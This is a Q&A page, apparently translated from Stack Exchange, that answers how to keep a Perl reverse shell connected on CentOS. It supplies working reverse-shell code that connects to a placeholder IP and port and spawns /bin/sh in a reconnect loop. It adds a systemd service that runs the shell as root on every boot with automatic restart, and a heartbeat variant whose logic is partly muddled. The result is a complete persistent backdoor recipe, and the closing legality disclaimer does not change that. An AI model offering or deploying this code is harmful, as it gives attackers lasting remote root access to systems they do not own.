如何在CentOS环境下用Perl创建持久化反向Socket连接?
Hey there! Let's get your reverse shell to stay connected (and auto-reconnect if it drops) on your CentOS server. Here are three practical methods you can implement:
1. Add a Reconnection Loop to Your Perl Script
The simplest fix is wrapping your existing connection logic in a loop that retries if the connection drops. This way, if the client disconnects or the link fails, the server will keep trying to re-establish it.
Modify your command to include a while loop with a delay between retries:
perl -e 'use Socket; $i="**iphere**"; $p=**porthere**; while(1){ socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i"); } sleep 10; };'
- The
while(1)creates an infinite loop that keeps trying to connect. sleep 10adds a 10-second delay between retries (adjust this number to your needs—shorter delays mean faster reconnection, but might use more resources).- If the connection succeeds, the shell takes over; if it fails or drops, the loop starts again after the sleep.
2. Run the Script as a Systemd Service
To make the script survive server reboots and run in the background, package it as a systemd service (CentOS uses systemd by default).
- First, save your persistent Perl script to a file, e.g.,
/usr/local/bin/reverse-shell.pl:
#!/usr/bin/perl use Socket; $i="**iphere**"; $p=**porthere**; while(1){ socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i"); } sleep 10; }
- Make the script executable:
chmod +x /usr/local/bin/reverse-shell.pl
- Create a systemd service file at
/etc/systemd/system/reverse-shell.service:
[Unit] Description=Persistent Perl Reverse Shell After=network.target [Service] Type=simple ExecStart=/usr/local/bin/reverse-shell.pl Restart=always RestartSec=5 User=root # Adjust user if needed, but root is common for shell access [Install] WantedBy=multi-user.target
- Reload systemd, enable the service, and start it:
systemctl daemon-reload systemctl enable reverse-shell.service systemctl start reverse-shell.service
Restart=alwaysensures the service restarts if it crashes or the connection drops.RestartSec=5adds a 5-second delay before restarting (adjust as needed).
3. Add a Heartbeat Mechanism (For More Reliability)
If you want to detect dead connections faster than relying on the loop's sleep, add a heartbeat to check if the connection is still alive. Here's a modified version that sends a small payload periodically and checks for a response:
#!/usr/bin/perl use Socket; use IO::Select; $i="**iphere**"; $p=**porthere**; $heartbeat_interval = 30; # Check every 30 seconds while(1){ socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ my $sel = IO::Select->new(\*S); open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); while(1){ # Check if there's data to read, or if it's time for a heartbeat if($sel->can_read($heartbeat_interval)){ my $data; my $bytes_read = sysread(S, $data, 1024); if(!defined $bytes_read || $bytes_read == 0){ # Connection died, break out to reconnect last; } print $data; # Echo received data (optional, adjust as needed) } else { # Send heartbeat print S "\n"; # Send a newline as a heartbeat signal my $bytes_written = syswrite(S, "\n"); if(!defined $bytes_written || $bytes_written == 0){ # Connection died last; } } } } sleep 10; }
This script uses IO::Select to wait for incoming data or the heartbeat interval. If no data is received and the heartbeat fails to send, it assumes the connection is dead and starts reconnecting.
Important Note
Make sure you're using this for legitimate purposes only—unauthorized access to systems is illegal and unethical.
内容的提问来源于stack exchange,提问作者medinanicolas

